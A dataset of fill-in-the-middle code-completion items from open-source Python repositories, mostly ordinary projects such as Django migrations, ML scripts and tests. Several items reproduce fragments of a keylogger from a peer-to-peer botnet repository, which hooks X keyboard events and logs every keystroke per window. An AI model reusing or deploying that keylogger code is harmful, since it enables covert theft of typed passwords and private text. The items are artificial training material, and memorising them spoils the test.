text stringlengths 232 16.3k | domain stringclasses 1
value | difficulty stringclasses 3
values | meta dict |
|---|---|---|---|
<|fim_suffix|>class Migration(migrations.Migration):
dependencies = [
('skiresorts', '0001_initial'),
]
operations = [
migrations.AlterModelTable(
name='skiresort',
table='skiresorts',
),
]<|fim_prefix|># repo: RitzAnthony/Ski_GeoDjango path: /geoweb/sk... | code_fim | easy | {
"lang": "python",
"repo": "RitzAnthony/Ski_GeoDjango",
"path": "/geoweb/skiresorts/migrations/0002_auto_20190420_2134.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: spotify-song-suggester1/data_engineer path: /SpotiKay/sprs/predict.py
""" Prediction of preferred songs based on song input"""
from sprs.spotify import get_features, we_recommend, add_song, track_id_for_artist_title
from sqlalchemy import create_engine
import pandas as pd
from pandas import DataF... | code_fim | hard | {
"lang": "python",
"repo": "spotify-song-suggester1/data_engineer",
"path": "/SpotiKay/sprs/predict.py",
"mode": "psm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|> # Instantiate and fit knn to the correct columns
knn = NearestNeighbors(n_neighbors=20)
knn.fit(df[df.columns[5:]])
obs = df.index[df['id'] == track_id]
series = df.iloc[obs, 5:].to_numpy()
neighbors = knn.kneighbors(series)
new_obs = neighbors[1][0]... | code_fim | hard | {
"lang": "python",
"repo": "spotify-song-suggester1/data_engineer",
"path": "/SpotiKay/sprs/predict.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|> net = tf.layers.dense(
inputs,
units=units,
activation=None,
use_bias=use_bias,
kernel_initializer=kernel_initializer,
bias_initializer=bias_initializer,
trainable=trainable
)
return net<|fim_prefix|># repo: NVIDIA/DeepLearningExamples ... | code_fim | hard | {
"lang": "python",
"repo": "NVIDIA/DeepLearningExamples",
"path": "/TensorFlow/Classification/ConvNets/model/layers/dense.py",
"mode": "spm",
"license": "Apache-2.0",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: NVIDIA/DeepLearningExamples path: /TensorFlow/Classification/ConvNets/model/layers/dense.py
# Copyright (c) 2018, NVIDIA CORPORATION. All rights reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You m... | code_fim | medium | {
"lang": "python",
"repo": "NVIDIA/DeepLearningExamples",
"path": "/TensorFlow/Classification/ConvNets/model/layers/dense.py",
"mode": "psm",
"license": "Apache-2.0",
"source": "the-stack-v2"
} |
<|fim_suffix|>def dense(
inputs,
units,
use_bias=True,
trainable=True,
kernel_initializer=tf.compat.v1.variance_scaling_initializer(),
bias_initializer=tf.zeros_initializer()
):
net = tf.layers.dense(
inputs,
units=units,
activation=None,
use_bias=use_bias,
... | code_fim | medium | {
"lang": "python",
"repo": "NVIDIA/DeepLearningExamples",
"path": "/TensorFlow/Classification/ConvNets/model/layers/dense.py",
"mode": "spm",
"license": "Apache-2.0",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: electioncal/us path: /scripts/build_site.py
import datetime
import os
from pathlib import Path
import tomlkit
import copy
import sys
import mistune
import jinja2
from generators import csv, ics, json, html, stats
import election
os.makedirs("site", exist_ok=True)
states = {}
alternatives = [... | code_fim | hard | {
"lang": "python",
"repo": "electioncal/us",
"path": "/scripts/build_site.py",
"mode": "psm",
"license": "ISC",
"source": "the-stack-v2"
} |
<|fim_suffix|> os.makedirs(f"site/en/{state_lower}", exist_ok=True)
state_dates = [d for d in all_state_dates if d["county"] is None]
for alternative in alternatives:
extension = alternative["extension"]
alternative["generator"](
state_dates,
f"site/en/{state_lower}/v... | code_fim | hard | {
"lang": "python",
"repo": "electioncal/us",
"path": "/scripts/build_site.py",
"mode": "spm",
"license": "ISC",
"source": "the-stack-v2"
} |
<|fim_suffix|> for alternative in alternatives:
extension = alternative["extension"]
alternative["generator"](
state_dates,
f"site/en/{state_lower}/voter.{extension}",
state_info=state_info,
name=specific_feed_name.format(state_info["name"]),
)
... | code_fim | hard | {
"lang": "python",
"repo": "electioncal/us",
"path": "/scripts/build_site.py",
"mode": "spm",
"license": "ISC",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: Eternalv7/PythonP2PBotnet path: /keylogger.py
import pyxhook
import sys
import os
import errno
# This module is a basic keylogging module which will create a log
# for each different window. It uses the pyxhook library to hook into
# X, so this only works on linux machines. It's designed to be r... | code_fim | hard | {
"lang": "python",
"repo": "Eternalv7/PythonP2PBotnet",
"path": "/keylogger.py",
"mode": "psm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|> hook = pyxhook.HookManager()
hook.KeyDown = logkey
hook.HookKeyboard()
hook.start()
# cleans up some of the log files
def catchSpecial(key):
if key == 'Return':
return '\n'
elif key == 'Shift_R':
return '[R_Shift]'
elif key == 'Shift_L':
return '[L_Sh... | code_fim | hard | {
"lang": "python",
"repo": "Eternalv7/PythonP2PBotnet",
"path": "/keylogger.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|>
def logkey(event):
path = sys.argv[1]
logname = path+'/'+str(event.WindowProcName).strip() + ".log"
f = open(logname, 'a')
f.write(catchSpecial(event.Key))
f.close()
if __name__ == '__main__':
main()<|fim_prefix|># repo: Eternalv7/PythonP2PBotnet path: /keylogger.py
import pyxh... | code_fim | hard | {
"lang": "python",
"repo": "Eternalv7/PythonP2PBotnet",
"path": "/keylogger.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|>mo')
else:
print('ele não é primo')<|fim_prefix|># repo: justinharringa/aprendendo-python path: /exercicios/mateus/13-52-51zinho topzeira.py
#é o 52 :D
x = int(input('digite um número '))
<|fim_middle|>total = 0
for c in range(1, x + 1):
total += 1
if x % c == 0:
print... | code_fim | medium | {
"lang": "python",
"repo": "justinharringa/aprendendo-python",
"path": "/exercicios/mateus/13-52-51zinho topzeira.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: justinharringa/aprendendo-python path: /exercicios/mateus/13-52-51zinho topzeira.py
#é o 52 :D
x = int(input('digite um número '))
<|fim_suffix|>mo')
else:
print('ele não é primo')<|fim_middle|>total = 0
for c in range(1, x + 1):
total += 1
if x % c == 0:
print... | code_fim | medium | {
"lang": "python",
"repo": "justinharringa/aprendendo-python",
"path": "/exercicios/mateus/13-52-51zinho topzeira.py",
"mode": "psm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: iver56/audiomentations path: /audiomentations/augmentations/time_mask.py
import random
import numpy as np
from numpy.typing import NDArray
from audiomentations.core.transforms_interface import BaseWaveformTransform
class TimeMask(BaseWaveformTransform):
"""
Make a randomly chosen part... | code_fim | hard | {
"lang": "python",
"repo": "iver56/audiomentations",
"path": "/audiomentations/augmentations/time_mask.py",
"mode": "psm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|> super().randomize_parameters(samples, sample_rate)
if self.parameters["should_apply"]:
num_samples = samples.shape[-1]
self.parameters["t"] = random.randint(
int(num_samples * self.min_band_part),
int(num_samples * self.max_band_part)... | code_fim | hard | {
"lang": "python",
"repo": "iver56/audiomentations",
"path": "/audiomentations/augmentations/time_mask.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|> new_samples = samples.copy()
t = self.parameters["t"]
t0 = self.parameters["t0"]
mask = np.zeros(t)
if self.fade:
fade_length = min(int(sample_rate * 0.01), int(t * 0.1))
mask[0:fade_length] = np.linspace(1, 0, num=fade_length)
ma... | code_fim | hard | {
"lang": "python",
"repo": "iver56/audiomentations",
"path": "/audiomentations/augmentations/time_mask.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: VanillaBrooks/instagram_scrape path: /pycode/__init__.py
# from pycode._native import ffi, lib
#
# l = 'this is a test phrase'.split()
# ffi.new('char[]', l[0] )
# # def calculate_similarity(list<|fim_suffix|>ers here
# # #
# #
# # return lib.similarity(ptr_1, ptr_2, ptr_3)<|fim_middle|>_str_... | code_fim | medium | {
"lang": "python",
"repo": "VanillaBrooks/instagram_scrape",
"path": "/pycode/__init__.py",
"mode": "psm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|>ers here
# # #
# #
# # return lib.similarity(ptr_1, ptr_2, ptr_3)<|fim_prefix|># repo: VanillaBrooks/instagram_scrape path: /pycode/__init__.py
# from pycode._native import ffi, lib
#
# l = 'this is a test phrase'.split()
# ffi.new('char[]', l[0] )
# # def calculate_similarity(list<|fim_middle|>_str_... | code_fim | medium | {
"lang": "python",
"repo": "VanillaBrooks/instagram_scrape",
"path": "/pycode/__init__.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|>_str_1, list_str_2, int_to_pass):
# #
# # #
# # # construct pointers here
# # #
# #
# # return lib.similarity(ptr_1, ptr_2, ptr_3)<|fim_prefix|># repo: VanillaBrooks/instagram_scrape path: /pycode/__init__.py
# from pycode._native import ffi, lib
#
# l = 'this is a test phrase'<|fim_middle|>.spli... | code_fim | medium | {
"lang": "python",
"repo": "VanillaBrooks/instagram_scrape",
"path": "/pycode/__init__.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: inimaz/Game path: /tests/test_search_2.py
# -*- coding: utf-8 -*-
"""
This is to be run in the command line with
pytest *nameOfFile*
"""
import sys
import helpers as h
import numpy as np
#We define the variables
current_player_id = 0
n_players = 3
h.g.initialize(n_players)
world = n... | code_fim | medium | {
"lang": "python",
"repo": "inimaz/Game",
"path": "/tests/test_search_2.py",
"mode": "psm",
"license": "BSD-2-Clause",
"source": "the-stack-v2"
} |
<|fim_suffix|> assert h.search(world,current_player_id,2,2) == -1
assert h.search(world,current_player_id,0,2) == (1,2)<|fim_prefix|># repo: inimaz/Game path: /tests/test_search_2.py
# -*- coding: utf-8 -*-
"""
This is to be run in the command line with
pytest *nameOfFile*
"""
import sys
import helpers... | code_fim | hard | {
"lang": "python",
"repo": "inimaz/Game",
"path": "/tests/test_search_2.py",
"mode": "spm",
"license": "BSD-2-Clause",
"source": "the-stack-v2"
} |
<|fim_suffix|>def test_search():
assert h.search(world,current_player_id,2,2) == -1
assert h.search(world,current_player_id,0,2) == (1,2)<|fim_prefix|># repo: inimaz/Game path: /tests/test_search_2.py
# -*- coding: utf-8 -*-
"""
This is to be run in the command line with
pytest *nameOfFile*
"""
import... | code_fim | medium | {
"lang": "python",
"repo": "inimaz/Game",
"path": "/tests/test_search_2.py",
"mode": "spm",
"license": "BSD-2-Clause",
"source": "the-stack-v2"
} |
<|fim_suffix|> return night_suite
def AssembleTestSuites():
suites = KratosUnittest.KratosSuites
# small_suite = SmallTests.SetTestSuite(suites)
# suites['all'].addTests(small_suite)
night_suite = SetTestSuite(suites)
suites['all'].addTests(night_suite)
return suites
if __name__ == '__main... | code_fim | hard | {
"lang": "python",
"repo": "KratosMultiphysics/Kratos",
"path": "/applications/SwimmingDEMApplication/tests/NightTests.py",
"mode": "spm",
"license": "BSD-3-Clause",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: KratosMultiphysics/Kratos path: /applications/SwimmingDEMApplication/tests/NightTests.py
# Definition of the classes for the NIGHTLY TESTS
#Iimport Kratos
import KratosMultiphysics
import KratosMultiphysics.DEMApplication
import KratosMultiphysics.SwimmingDEMApplication
from KratosMultiphysics i... | code_fim | hard | {
"lang": "python",
"repo": "KratosMultiphysics/Kratos",
"path": "/applications/SwimmingDEMApplication/tests/NightTests.py",
"mode": "psm",
"license": "BSD-3-Clause",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: FidelityInternational/djangocms-references path: /tests/test_integrations.py
from django.contrib.contenttypes.models import ContentType
from django.urls import reverse
from cms.api import add_plugin, create_page, create_title
from cms.test_utils.testcases import CMSTestCase
from cms.toolbar.util... | code_fim | hard | {
"lang": "python",
"repo": "FidelityInternational/djangocms-references",
"path": "/tests/test_integrations.py",
"mode": "psm",
"license": "BSD-3-Clause",
"source": "the-stack-v2"
} |
<|fim_suffix|> self.assertContains(response, alias.name)
self.assertContains(response, alias_plugin.plugin_type.lower())
self.assertContains(response, "pagecontent")
self.assertContains(response, get_object_preview_url(page_content))
self.assertContains(response, page_content.vers... | code_fim | hard | {
"lang": "python",
"repo": "FidelityInternational/djangocms-references",
"path": "/tests/test_integrations.py",
"mode": "spm",
"license": "BSD-3-Clause",
"source": "the-stack-v2"
} |
<|fim_suffix|> """npm collector for dependencies."""
async def _parse_entities(self, responses: SourceResponses) -> Entities:
"""Override to parse the dependencies from the JSOM."""
installed_dependencies: dict[str, dict[str, str]] = {}
for response in responses:
installed_de... | code_fim | hard | {
"lang": "python",
"repo": "Erik-Stel/quality-time",
"path": "/components/collector/src/source_collectors/npm/dependencies.py",
"mode": "spm",
"license": "Apache-2.0",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: Erik-Stel/quality-time path: /components/collector/src/source_collectors/npm/dependencies.py
"""npm dependencies collector."""
from base_collectors import JSONFileSourceCollector
from source_model import Entities, Entity, SourceResponses
<|fim_suffix|> async def _parse_entities(self, respons... | code_fim | hard | {
"lang": "python",
"repo": "Erik-Stel/quality-time",
"path": "/components/collector/src/source_collectors/npm/dependencies.py",
"mode": "psm",
"license": "Apache-2.0",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: TrendingTechnology/gex path: /gex/extension.py
# -*- coding: utf-8 -*-
import sys
from typing import Callable, Union
from g_python.gextension import Extension
from g_python.hdirection import Direction
from g_python.hmessage import HMessage
from gex.common.constants import EX_INFO
... | code_fim | medium | {
"lang": "python",
"repo": "TrendingTechnology/gex",
"path": "/gex/extension.py",
"mode": "psm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|> super().__init__(EX_INFO, sys.argv)
self.on_event("double_click", lambda: print("Extension has been clicked"))
self.on_event("init", lambda: self.on_connection_init())
self.on_event("connection_start", lambda: self.on_connection_start())
self.on_event("connect... | code_fim | medium | {
"lang": "python",
"repo": "TrendingTechnology/gex",
"path": "/gex/extension.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|> self,
callback: Callable[[HMessage], None],
idd: Union[int, str] = -1,
mode: str = "default",
) -> None:
"""This method that intercepts incoming communications
in Habbo.
Args:
callback (Callable[[HMessage], None]): [descript... | code_fim | hard | {
"lang": "python",
"repo": "TrendingTechnology/gex",
"path": "/gex/extension.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: webclinic017/Buy-Sell path: /store/models.py
from random import randrange
from django.conf import settings
from django.contrib.contenttypes.fields import GenericRelation
from django.db import models
from hitcount.models import HitCountMixin, HitCount
from imagekit.models import ProcessedImageFie... | code_fim | hard | {
"lang": "python",
"repo": "webclinic017/Buy-Sell",
"path": "/store/models.py",
"mode": "psm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|> class Meta:
ordering = ('-created_at',)
verbose_name = "가게 문의"
verbose_name_plural = "가게 문의"
from trade.models import Item
class StoreGrade(models.Model):
store_profile = models.ForeignKey(StoreProfile, verbose_name="가게", on_delete=models.CASCADE)
if user_pk:
... | code_fim | hard | {
"lang": "python",
"repo": "webclinic017/Buy-Sell",
"path": "/store/models.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: openstack/networking-baremetal path: /networking_baremetal/openconfig/vlan/types.py
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# http://www.apache... | code_fim | hard | {
"lang": "python",
"repo": "openstack/networking-baremetal",
"path": "/networking_baremetal/openconfig/vlan/types.py",
"mode": "psm",
"license": "Apache-2.0",
"source": "the-stack-v2"
} |
<|fim_suffix|> if not isinstance(vlan_range, str):
raise TypeError('vlan_range must be string, got {}'
.format(type(vlan_range)))
if not self.pattern.match(vlan_range):
raise ValueError('Invalid VLAN range {}'.format(vlan_range))
lower, _, upper... | code_fim | hard | {
"lang": "python",
"repo": "openstack/networking-baremetal",
"path": "/networking_baremetal/openconfig/vlan/types.py",
"mode": "spm",
"license": "Apache-2.0",
"source": "the-stack-v2"
} |
<|fim_suffix|>tau = np.sum(np.abs(coefs.T), axis=1)
# Figure 11.12 (b)
#Profile of lasso coeficients for prostate cancer example
fig, ax = plt.subplots()
xs = tau
ys = coefs.T
plt.xlabel(r'$\tau$')
ax.xaxis.set_major_locator(ticker.MultipleLocator(0.5))
plt.plot(xs,ys,marker='o')
plt.legend(names)
plt.sh... | code_fim | hard | {
"lang": "python",
"repo": "shivaditya-meduri/pyprobml",
"path": "/scripts/lassoPathProstate.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: shivaditya-meduri/pyprobml path: /scripts/lassoPathProstate.py
# Figure 11.12 (b)
# Plot the full L1 regularization path for the prostate data set
from scipy.io import loadmat
from sklearn import linear_model
import numpy as np
import matplotlib.pyplot as plt
import matplotlib.ticker as... | code_fim | medium | {
"lang": "python",
"repo": "shivaditya-meduri/pyprobml",
"path": "/scripts/lassoPathProstate.py",
"mode": "psm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|># Figure 11.12 (b)
#Profile of lasso coeficients for prostate cancer example
fig, ax = plt.subplots()
xs = tau
ys = coefs.T
plt.xlabel(r'$\tau$')
ax.xaxis.set_major_locator(ticker.MultipleLocator(0.5))
plt.plot(xs,ys,marker='o')
plt.legend(names)
plt.show()<|fim_prefix|># repo: shivaditya-medu... | code_fim | hard | {
"lang": "python",
"repo": "shivaditya-meduri/pyprobml",
"path": "/scripts/lassoPathProstate.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|> res = []
mean = np.array(mean)
var = np.array(var)
for i in range(self.users):
res.append(self.data_rand.normal(mean, var, (self.arms, self.dims)))
return np.array(res)
def get_synthetic_context(self, args):
"""
Generate Synthetic C... | code_fim | hard | {
"lang": "python",
"repo": "anon-usr/INLUCB",
"path": "/create_data.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: anon-usr/INLUCB path: /create_data.py
# -*- coding: utf-8 -*-
"""
Create Synthetic data.
"""
import numpy.random as rd
import numpy as np
import time
class CreateData(object):
def __init__(self, users, arms, dims, seed=int(time.time())):
self.users = users
self.arms = arms
... | code_fim | medium | {
"lang": "python",
"repo": "anon-usr/INLUCB",
"path": "/create_data.py",
"mode": "psm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: vectominist/MedNLP path: /src/train_mlm.py
'''
File [ src/train_mlm.py ]
Author [ Heng-Jui Chang (NTUEE) ]
Synopsis [ Masked LM training for fine-tuning pre-trained LM ]
'''
import argparse
import yaml
import torch
from transformers import (
AutoModelForMaskedL... | code_fim | hard | {
"lang": "python",
"repo": "vectominist/MedNLP",
"path": "/src/train_mlm.py",
"mode": "psm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|>
if __name__ == '__main__':
parser = argparse.ArgumentParser('MLM Fine-tuning')
parser.add_argument('--config', type=str, help='Path to config')
args = parser.parse_args()
config = yaml.load(open(args.config, 'r'), Loader=yaml.FullLoader)
set_seed(config['train_args']['seed']... | code_fim | hard | {
"lang": "python",
"repo": "vectominist/MedNLP",
"path": "/src/train_mlm.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|>
def train(config: dict):
print('Fine-tuning Bert with Medical Dialogues (Masked LM)')
model = AutoModelForMaskedLM.from_pretrained(
config['model']['pretrained_model'])
data_collator = DataCollatorForLanguageModeling(
tokenizer=tokenizer_risk, mlm=True, mlm_probability=0... | code_fim | hard | {
"lang": "python",
"repo": "vectominist/MedNLP",
"path": "/src/train_mlm.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: michaelXDzhang/pulsar path: /examples/calculator/tests.py
'''Tests the RPC "calculator" example.'''
import unittest
import types
from pulsar.api import send
from pulsar.utils.system import platform
from pulsar.apps import rpc, http
from pulsar.apps.test import dont_run_with_thread, run_test_serv... | code_fim | hard | {
"lang": "python",
"repo": "michaelXDzhang/pulsar",
"path": "/examples/calculator/tests.py",
"mode": "psm",
"license": "BSD-3-Clause",
"source": "the-stack-v2"
} |
<|fim_suffix|> async def test_docs(self):
handler = Root({'calc': Calculator})
self.assertEqual(handler.parent, None)
self.assertEqual(handler.root, handler)
self.assertRaises(rpc.NoSuchFunction, handler.get_handler,
'cdscsdcscd')
calc = handler.subHa... | code_fim | hard | {
"lang": "python",
"repo": "michaelXDzhang/pulsar",
"path": "/examples/calculator/tests.py",
"mode": "spm",
"license": "BSD-3-Clause",
"source": "the-stack-v2"
} |
<|fim_suffix|>warnings.showwarning = warn_explicit
logging.basicConfig()
try:
__version__ = pkg_resources.get_distribution(__name__.replace(".", "-")).version
except pkg_resources.DistributionNotFound:
# package is not installed
pass<|fim_prefix|># repo: radovankavicky/biome-text path: /src/biome/text/__i... | code_fim | medium | {
"lang": "python",
"repo": "radovankavicky/biome-text",
"path": "/src/biome/text/__init__.py",
"mode": "spm",
"license": "Apache-2.0",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: radovankavicky/biome-text path: /src/biome/text/__init__.py
import logging
import warnings
from warnings import warn_explicit
import pkg_resources
try:
import tqdm
class TqdmWrapper(tqdm.tqdm):
"""
A tqdm wrapper for progress bar disable control
We must use thi... | code_fim | medium | {
"lang": "python",
"repo": "radovankavicky/biome-text",
"path": "/src/biome/text/__init__.py",
"mode": "psm",
"license": "Apache-2.0",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: nfirewall/nfd path: /nfd/resources/PolicyInstallResource.py
from flask import request
from marshmallow.exceptions import ValidationError
from flask.views import MethodView
from ..schemata import PolicyInstallRequestSchema
import os
import json
from cryptography.hazmat.primitives import serializat... | code_fim | hard | {
"lang": "python",
"repo": "nfirewall/nfd",
"path": "/nfd/resources/PolicyInstallResource.py",
"mode": "psm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|>
with open("{}/management.pem".format(os.getenv("CONFIG_DIR")), "r") as fh:
pem = "".join(fh.readlines())
key = serialization.load_pem_public_key(pem.encode("utf-8"))
try:
key.verify(signature=signature, data=policy, signature_algorithm=ec.ECDSA(hashes.SHA2... | code_fim | hard | {
"lang": "python",
"repo": "nfirewall/nfd",
"path": "/nfd/resources/PolicyInstallResource.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: dreamhost/akanda-ceilometer path: /akanda/ceilometer/notifications.py
# Copyright 2014 DreamHost, LLC
#
# Author: DreamHost, LLC
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the Li... | code_fim | hard | {
"lang": "python",
"repo": "dreamhost/akanda-ceilometer",
"path": "/akanda/ceilometer/notifications.py",
"mode": "psm",
"license": "Apache-2.0",
"source": "the-stack-v2"
} |
<|fim_suffix|> return ['akanda.bandwidth.used']
@staticmethod
def get_exchange_topics(conf):
"""Returns a sequence of ExchangeTopics defining the exchange and
topics to be connected to this plugin."""
return [
plugin.ExchangeTopics(
exchange=conf.akand... | code_fim | hard | {
"lang": "python",
"repo": "dreamhost/akanda-ceilometer",
"path": "/akanda/ceilometer/notifications.py",
"mode": "spm",
"license": "Apache-2.0",
"source": "the-stack-v2"
} |
<|fim_suffix|> @staticmethod
def tz_to_tz(dt, source_tz, dest_tz):
"""Covert a datetime object from <timezone> to <timezone>.
:param dt: A datetime
:type dt: datetime
:param source_tz: The timezone of the supplied datetime
:type source_tz: str
:param dest_tz: The ... | code_fim | hard | {
"lang": "python",
"repo": "Gestas/Python-Snippets",
"path": "/DateTimeFormatter.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: Gestas/Python-Snippets path: /DateTimeFormatter.py
import logging
from datetime import datetime
import iso8601
import rfc3339
# pip install python-dateutil
from dateutil import tz
logger = logging.getLogger(__name__)
class DateTimeFormatter:
"""One datetime formatter to rule them all."""
... | code_fim | hard | {
"lang": "python",
"repo": "Gestas/Python-Snippets",
"path": "/DateTimeFormatter.py",
"mode": "psm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|> operations = [
migrations.AddField(
model_name='effortcontribution',
name='contribution_type',
field=models.CharField(choices=[('organizer', 'Activity Organizer'), ('deed', 'Deed particpant')], default='organizer', max_length=20, verbose_name='Contribution t... | code_fim | medium | {
"lang": "python",
"repo": "onepercentclub/bluebottle",
"path": "/bluebottle/activities/migrations/0042_effortcontribution_contribution_type.py",
"mode": "spm",
"license": "BSD-2-Clause",
"source": "the-stack-v2"
} |
<|fim_suffix|>class Migration(migrations.Migration):
dependencies = [
('activities', '0041_auto_20210226_1059'),
]
operations = [
migrations.AddField(
model_name='effortcontribution',
name='contribution_type',
field=models.CharField(choices=[('organizer'... | code_fim | medium | {
"lang": "python",
"repo": "onepercentclub/bluebottle",
"path": "/bluebottle/activities/migrations/0042_effortcontribution_contribution_type.py",
"mode": "spm",
"license": "BSD-2-Clause",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: onepercentclub/bluebottle path: /bluebottle/activities/migrations/0042_effortcontribution_contribution_type.py
# -*- coding: utf-8 -*-
# Generated by Django 1.11.29 on 2021-03-08 10:09
from __future__ import unicode_literals
from django.db import migrations, models
class Migration(migrations.M... | code_fim | medium | {
"lang": "python",
"repo": "onepercentclub/bluebottle",
"path": "/bluebottle/activities/migrations/0042_effortcontribution_contribution_type.py",
"mode": "psm",
"license": "BSD-2-Clause",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: txgisci/feature_extractor path: /feature_extractor.py
import argparse
import requests
import csv
import os
import re
import sys
from pathlib import Path
from requests.packages.urllib3.util.retry import Retry
from requests.adapters import HTTPAdapter
import urllib3
# CLI accepting user input
pars... | code_fim | hard | {
"lang": "python",
"repo": "txgisci/feature_extractor",
"path": "/feature_extractor.py",
"mode": "psm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|># Create an outputs folder if one doesn't exist
outputs_dir = os.path.join('.','outputs')
if not os.path.isdir(outputs_dir):
os.makedirs(outputs_dir, mode=mode)
# Alerts for folder duplicate
output_path = os.path.join(outputs_dir, new_folder, "")
try:
os.makedirs(output_path, mode=mode)
except Fi... | code_fim | hard | {
"lang": "python",
"repo": "txgisci/feature_extractor",
"path": "/feature_extractor.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|> # Account for the few images with extended name
if img_id in anomalous_ids:
img_id = img_id + '_2'
if args.with_crosshairs:
img_url = '{}{}{}'.format(url_1, img_id, url_2)
else:
img_url = '{}/{}/{}/{}/{}.JPG'.format(url, abbrev, img_size... | code_fim | hard | {
"lang": "python",
"repo": "txgisci/feature_extractor",
"path": "/feature_extractor.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: m4reQ/Oss-2.0 path: /oss/update.py
import os
import sys
import requests
directory = os.getcwd()
def Update(dir):
path = os.path.join(dir, 'tmp')
files = os.listdir(path)
for f in files:
os.remove(os.path.join(path, f))
url = url_repo + "/archive/master.zip"
os.system("start \"\"" + "... | code_fim | hard | {
"lang": "python",
"repo": "m4reQ/Oss-2.0",
"path": "/oss/update.py",
"mode": "psm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|>def Get_version():
"""
gets newest version
returns: string or bool
"""
l, r = url_main[:8], url_main[8:]
url = l + "raw." + r + "/version.txt"
try:
latest_version = requests.get(url)
except requests.exceptions.ConnectionError:
print('[ERROR] Cannot download latest version. Check your interne... | code_fim | hard | {
"lang": "python",
"repo": "m4reQ/Oss-2.0",
"path": "/oss/update.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: Xkant/learn path: /toygb/gbm.py
import numpy as np
<|fim_suffix|> pass
def get_gradient(self, X, y):
pass
def update(self, X, y):
pass<|fim_middle|>class GBM():
def __init__(self):
| code_fim | easy | {
"lang": "python",
"repo": "Xkant/learn",
"path": "/toygb/gbm.py",
"mode": "psm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: Xkant/learn path: /toygb/gbm.py
import numpy as np
class GBM():
<|fim_suffix|> def get_gradient(self, X, y):
pass
def update(self, X, y):
pass<|fim_middle|> def __init__(self):
pass
| code_fim | easy | {
"lang": "python",
"repo": "Xkant/learn",
"path": "/toygb/gbm.py",
"mode": "psm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|> def get_gradient(self, X, y):
pass
def update(self, X, y):
pass<|fim_prefix|># repo: Xkant/learn path: /toygb/gbm.py
import numpy as np
<|fim_middle|>class GBM():
def __init__(self):
pass
| code_fim | easy | {
"lang": "python",
"repo": "Xkant/learn",
"path": "/toygb/gbm.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|> song_info["NSDR"] = norm_scores[0]
song_info["NSIR"] = norm_scores[1]
song_info["SNR"] = np.array([acc_snr, drums_snr])
song_info["NSNR"] = np.array([acc_snr - acc_ref_snr, drums_snr - drums_ref_snr])
song_scores.append(song_info)
print(song... | code_fim | hard | {
"lang": "python",
"repo": "NullspaceSF/DSSGAN",
"path": "/Test.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: NullspaceSF/DSSGAN path: /Test.py
import pickle
import numpy as np
import tensorflow as tf
import librosa
import os
import Utils
